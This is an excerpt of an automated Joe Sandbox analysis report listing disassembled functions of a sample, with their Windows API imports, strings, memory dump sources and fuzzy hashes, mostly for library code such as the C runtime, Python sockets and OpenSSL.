gethostbyname.WS2_32 ref: 00007FF8E8137B44

Strings

socket.gethostbyname, xrefs: 00007FF8E8137AFD
et:gethostbyname_ex, xrefs: 00007FF8E8137AD9
idna, xrefs: 00007FF8E8137ACF

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: gethostbyname
String ID: et:gethostbyname_ex$idna$socket.gethostbyname
API String ID: 930432418-574663143
Opcode ID: 763fd7e5a6e8485f873114a20fb6e7adcccc8433eb82f096b660c8048ead8007
Instruction ID: 744114ef13251dc0da0842aada5c19209c10b9881f65bc6d3eb6a6557ad999e1
Opcode Fuzzy Hash: 763fd7e5a6e8485f873114a20fb6e7adcccc8433eb82f096b660c8048ead8007
Instruction Fuzzy Hash: 42215161618B8291EA10CBA2F8447AEA364FB89FC4F464132DE8D53758DF3CE545C745

Function 00007FF8E81384B0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 47COMMON

Download Yara Rule

APIs

inet_pton.WS2_32 ref: 00007FF8E81384EF

Strings

unknown address family, xrefs: 00007FF8E8138548
is:inet_pton, xrefs: 00007FF8E81384CB
illegal IP address string passed to inet_pton, xrefs: 00007FF8E813850D

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: inet_pton
String ID: illegal IP address string passed to inet_pton$is:inet_pton$unknown address family
API String ID: 1350483568-903159468
Opcode ID: 26846f0312d1f675127fc7a928663de3b4f9f1fae969a89936cdafc1ca1b6d0b
Instruction ID: 1945041a4449f11712033213f573055e4336c635616f2263c43894ec1b8ffe43
Opcode Fuzzy Hash: 26846f0312d1f675127fc7a928663de3b4f9f1fae969a89936cdafc1ca1b6d0b
Instruction Fuzzy Hash: 0F212C61A1C942D7EA60DBA4E8503BD2361FF85BC4F921432E54F936A4DF3CE949C70A

Function 00007FF7EAD1C5A0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF7EAD1C61F
WriteFile.KERNEL32 ref: 00007FF7EAD1C8E7
WriteFile.KERNEL32 ref: 00007FF7EAD1C92D
GetLastError.KERNEL32 ref: 00007FF7EAD1C9E3

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction ID: 5d8201fa0a053522d8e2745fc031291a5de4dcc2ccc761ece97f39acabe0c75f
Opcode Fuzzy Hash: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction Fuzzy Hash: 46D10272B08A918AF710DF75D4403ACBBB1FB64798B804276DE5E97B89DE38D106C321

Function 00007FF7EAD1CF60 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7EAD1CF4B), ref: 00007FF7EAD1D07C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7EAD1CF4B), ref: 00007FF7EAD1D107

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction ID: 2578ef9be3e40082490e357f5b45c89aec39f4200902e0fe636529eaad24ee1a
Opcode Fuzzy Hash: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction Fuzzy Hash: 7F91C472E1865189F760EF7594403BDABA0FF54B88F9441B6DE8E52688CF3CD482C722

Function 00007FF7EAD1F98C Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7EAD1FA7C
_get_daylight.LIBCMT ref: 00007FF7EAD1FA8D
_get_daylight.LIBCMT ref: 00007FF7EAD1FA9E
_isindst.LIBCMT ref: 00007FF7EAD1FB69

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction ID: b646dc32fdc2b01716099ffc340b7a1ed4211f84c7692e1b8b8c957dbdd4d13a
Opcode Fuzzy Hash: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction Fuzzy Hash: 3F510772F0421186FB14EF749A957BCA7A1EB68368F900277DD1E52AEDDB3CA402C611

Function 00007FF7EAD1577C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF7EAD157AF
GetFileInformationByHandle.KERNEL32 ref: 00007FF7EAD15811
GetLastError.KERNEL32 ref: 00007FF7EAD158A2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7EAD156B4), ref: 00007FF7EAD158EE

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction ID: cec8a74ef634075d583b2d591895f3102ba968675d24564c1a9b005a7a1d460a
Opcode Fuzzy Hash: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction Fuzzy Hash: DF517A62E086418AFB10EFB1D4503BDA7B5EB68B58F908576DE0D5B688DF3CD4408762

Function 00007FF7EAD020C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF7EAD020F4
SetWindowLongPtrW.USER32 ref: 00007FF7EAD02116
GetWindowLongPtrW.USER32 ref: 00007FF7EAD02140
InvalidateRect.USER32 ref: 00007FF7EAD02160

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: 116b9c171df06c3b699768c802153cc3758b5bc8230ba9d9a71ca4fcbbf4221e
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: B811C631A0C54242F754E76AE5C437A9392EB98788FC44072DB4907B8DCD7DE9C58222

Function 00007FF8E8132EDC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8E8132F08
GetCurrentThreadId.KERNEL32 ref: 00007FF8E8132F16
GetCurrentProcessId.KERNEL32 ref: 00007FF8E8132F22
QueryPerformanceCounter.KERNEL32 ref: 00007FF8E8132F32

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 8abdb046c2d483d6713d37fa3c95cfe7202fcb201bb2e424a1ff1cb05108d538
Instruction ID: 05cb45cef1c45c317905b990150ba65e84717481f746c0136568e8f6017485d9
Opcode Fuzzy Hash: 8abdb046c2d483d6713d37fa3c95cfe7202fcb201bb2e424a1ff1cb05108d538
Instruction Fuzzy Hash: 1F111822B14B018AEB008FA0E8543AC33A4FB59798F440A31DA6D867A8DF7CD154C345

Function 00007FF7EAD0D010 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7EAD0D03C
GetCurrentThreadId.KERNEL32 ref: 00007FF7EAD0D04A
GetCurrentProcessId.KERNEL32 ref: 00007FF7EAD0D056
QueryPerformanceCounter.KERNEL32 ref: 00007FF7EAD0D066

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction ID: d9cd9b7bc61391cace1ad6055a30a35423f7646f5771dd58d4478f56b082e81d
Opcode Fuzzy Hash: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction Fuzzy Hash: 35111C32B14F058AFB00DB60E8543B973A8FB59758F840E32DA6D467A8DF78D1588351

Function 00007FF8E80F2F60 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8E80F2F8C
GetCurrentThreadId.KERNEL32 ref: 00007FF8E80F2F9A
GetCurrentProcessId.KERNEL32 ref: 00007FF8E80F2FA6
QueryPerformanceCounter.KERNEL32 ref: 00007FF8E80F2FB6

Memory Dump Source

Source File: 00000002.00000002.1495132572.00007FF8E80F1000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FF8E80F0000, based on PE: true

Associated: 00000002.00000002.1494989941.00007FF8E80F0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E80FE000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E8111000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E811A000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E811E000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495565226.00007FF8E8121000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495640960.00007FF8E8123000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e80f0000_SecuriteInfo.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 76cc7d293dce52ac903e1c4f27db05cd87f84480e9050da05d46ae017720b8e1
Instruction ID: 45af02d93ea1e8d1b6f22812e568905abd13cf3e5e755543e889f06c577e3321
Opcode Fuzzy Hash: 76cc7d293dce52ac903e1c4f27db05cd87f84480e9050da05d46ae017720b8e1
Instruction Fuzzy Hash: 33111C26B18F058AEB00CFA0E8543AC33A4FB19B98F441E31DA6D467A8DF7CD5988345

Function 00007FF8E7962E0C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8E7962E38
GetCurrentThreadId.KERNEL32 ref: 00007FF8E7962E46
GetCurrentProcessId.KERNEL32 ref: 00007FF8E7962E52
QueryPerformanceCounter.KERNEL32 ref: 00007FF8E7962E62

Memory Dump Source

Source File: 00000002.00000002.1488870171.00007FF8E7961000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FF8E7960000, based on PE: true

Associated: 00000002.00000002.1488485527.00007FF8E7960000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E79AA000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E79B8000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E7A07000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E7A0C000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E7A0F000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1489614277.00007FF8E7A10000.00000080.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1489734191.00007FF8E7A12000.00000004.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7960000_SecuriteInfo.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 1143ce772416530538e6e632f3059b38426edc2ca8d0a1c1cafe6258f8b28d68
Instruction ID: a8d93fe4485ed6c02ab5d7ae04fcad4fad133c401b35e9dbfb6bbcc85a0d7bc5
Opcode Fuzzy Hash: 1143ce772416530538e6e632f3059b38426edc2ca8d0a1c1cafe6258f8b28d68
Instruction Fuzzy Hash: A5111C26B14B068AEB00DFA1E8553AC33B4FB19798F440E35DA7E467A8DF7CD1548341

Function 00007FF8E80D3F4C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8E80D3F78
GetCurrentThreadId.KERNEL32 ref: 00007FF8E80D3F86
GetCurrentProcessId.KERNEL32 ref: 00007FF8E80D3F92
QueryPerformanceCounter.KERNEL32 ref: 00007FF8E80D3FA2

Memory Dump Source

Source File: 00000002.00000002.1493380127.00007FF8E80D1000.00000040.00000001.01000000.00000011.sdmp, Offset: 00007FF8E80D0000, based on PE: true

Associated: 00000002.00000002.1493237876.00007FF8E80D0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000002.00000002.1493380127.00007FF8E80DD000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000002.00000002.1493380127.00007FF8E80E0000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000002.00000002.1494657271.00007FF8E80E1000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000002.00000002.1494938031.00007FF8E80E3000.00000004.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e80d0000_SecuriteInfo.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 7ff4e97938adc5bb38bfeebc5981b68ed2a321e3e8e63433a9fab580c5a2b058
Instruction ID: 27f7410de9f7e191653617823d7b84e8f1f11ec86372db5e1df2970040e59c7c
Opcode Fuzzy Hash: 7ff4e97938adc5bb38bfeebc5981b68ed2a321e3e8e63433a9fab580c5a2b058
Instruction Fuzzy Hash: B8111822B14B058AEF009BA0E8543AD37A4FB19798F440A35EA6D467E4EF7CD1688781

Function 00007FF8E7A9ECE0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8E7A9ED0C
GetCurrentThreadId.KERNEL32 ref: 00007FF8E7A9ED1A
GetCurrentProcessId.KERNEL32 ref: 00007FF8E7A9ED26
QueryPerformanceCounter.KERNEL32 ref: 00007FF8E7A9ED36

Memory Dump Source

Source File: 00000002.00000002.1490107533.00007FF8E7A21000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8E7A20000, based on PE: true

Associated: 00000002.00000002.1489932395.00007FF8E7A20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7ACD000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AD8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AE3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493021775.00007FF8E7AE7000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7a20000_SecuriteInfo.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c228ff487a8229492adc3f8944b6875e240ddca761839ed72b11deef452fc955
Instruction ID: c5a224cc5f75a572e72758f50027b127e36ba23bbf9ecc64df38505ee2c3db7c
Opcode Fuzzy Hash: c228ff487a8229492adc3f8944b6875e240ddca761839ed72b11deef452fc955
Instruction Fuzzy Hash: 42111C22B14F018AEB009BA4E8563AC33A4FB59798F440E31DB6D867A4EF7CD1948341

Function 00007FF8E7A21A05 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 283COMMON

Download Yara Rule

APIs

00007FF9060208A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8E7A30C5B

Strings

d2i_SSL_SESSION, xrefs: 00007FF8E7A30AC2, 00007FF8E7A30B47, 00007FF8E7A30B88, 00007FF8E7A30DA2
..\s\ssl\ssl_asn1.c, xrefs: 00007FF8E7A30ACE, 00007FF8E7A30B53, 00007FF8E7A30B94, 00007FF8E7A30D34, 00007FF8E7A30DAE, 00007FF8E7A30DFA, 00007FF8E7A30E6F

Memory Dump Source

Source File: 00000002.00000002.1490107533.00007FF8E7A21000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8E7A20000, based on PE: true

Associated: 00000002.00000002.1489932395.00007FF8E7A20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7ACD000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AD8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AE3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493021775.00007FF8E7AE7000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7a20000_SecuriteInfo.jbxd

Similarity

API ID: 00007F9060208
String ID: ..\s\ssl\ssl_asn1.c$d2i_SSL_SESSION
API String ID: 3464486852-384499812
Opcode ID: 9853c5bb08fc77abbaa0c4e474cf7ee128b4f7c4cba4e7dfb27c23ab735fd23f
Instruction ID: b206b406706dfb91aa6124e935f5b276cbb19fd50f4dcdfc0182a4a222005a4a
Opcode Fuzzy Hash: 9853c5bb08fc77abbaa0c4e474cf7ee128b4f7c4cba4e7dfb27c23ab735fd23f
Instruction Fuzzy Hash: A4D15822B09B86A2EB559FA5E4827BE33A5FB44BC4F484035DA6C47795DF3CE460C312

Function 00007FF8E7A22126 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 268COMMON

Download Yara Rule

APIs

00007FF9060208A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8E7A4F76D

Strings

ssl_get_prev_session, xrefs: 00007FF8E7A4F732, 00007FF8E7A4F7D4, 00007FF8E7A4F884
..\s\ssl\ssl_sess.c, xrefs: 00007FF8E7A4F73E, 00007FF8E7A4F7E0, 00007FF8E7A4F890

Memory Dump Source

Source File: 00000002.00000002.1490107533.00007FF8E7A21000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8E7A20000, based on PE: true

Associated: 00000002.00000002.1489932395.00007FF8E7A20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7ACD000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AD8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AE3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493021775.00007FF8E7AE7000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7a20000_SecuriteInfo.jbxd

Similarity

API ID: 00007F9060208
String ID: ..\s\ssl\ssl_sess.c$ssl_get_prev_session
API String ID: 3464486852-1331951588
Opcode ID: e391f8e95c0f4977e9b0a03ed3c244edb74b16920bfda910dd9f54047f92028c
Instruction ID: 7edad13d8b5537fd63910440fdafab012b581564ed0f92f90e490d524e76972a
Opcode Fuzzy Hash: e391f8e95c0f4977e9b0a03ed3c244edb74b16920bfda910dd9f54047f92028c
Instruction Fuzzy Hash: 82C1B132B0868282F6699BA1D5527BD7360FB84BCAF085031DE6D4B795DF3EE451C702

Function 00007FF8E7A21EBF Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 140COMMON

Download Yara Rule

APIs

00007FF906026570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7A29154

Strings

..\s\ssl\d1_srtp.c, xrefs: 00007FF8E7A2908B, 00007FF8E7A29183
ssl_ctx_make_profiles, xrefs: 00007FF8E7A2907F, 00007FF8E7A2917A

Memory Dump Source

Source File: 00000002.00000002.1490107533.00007FF8E7A21000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8E7A20000, based on PE: true

Associated: 00000002.00000002.1489932395.00007FF8E7A20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7ACD000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AD8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AE3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493021775.00007FF8E7AE7000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

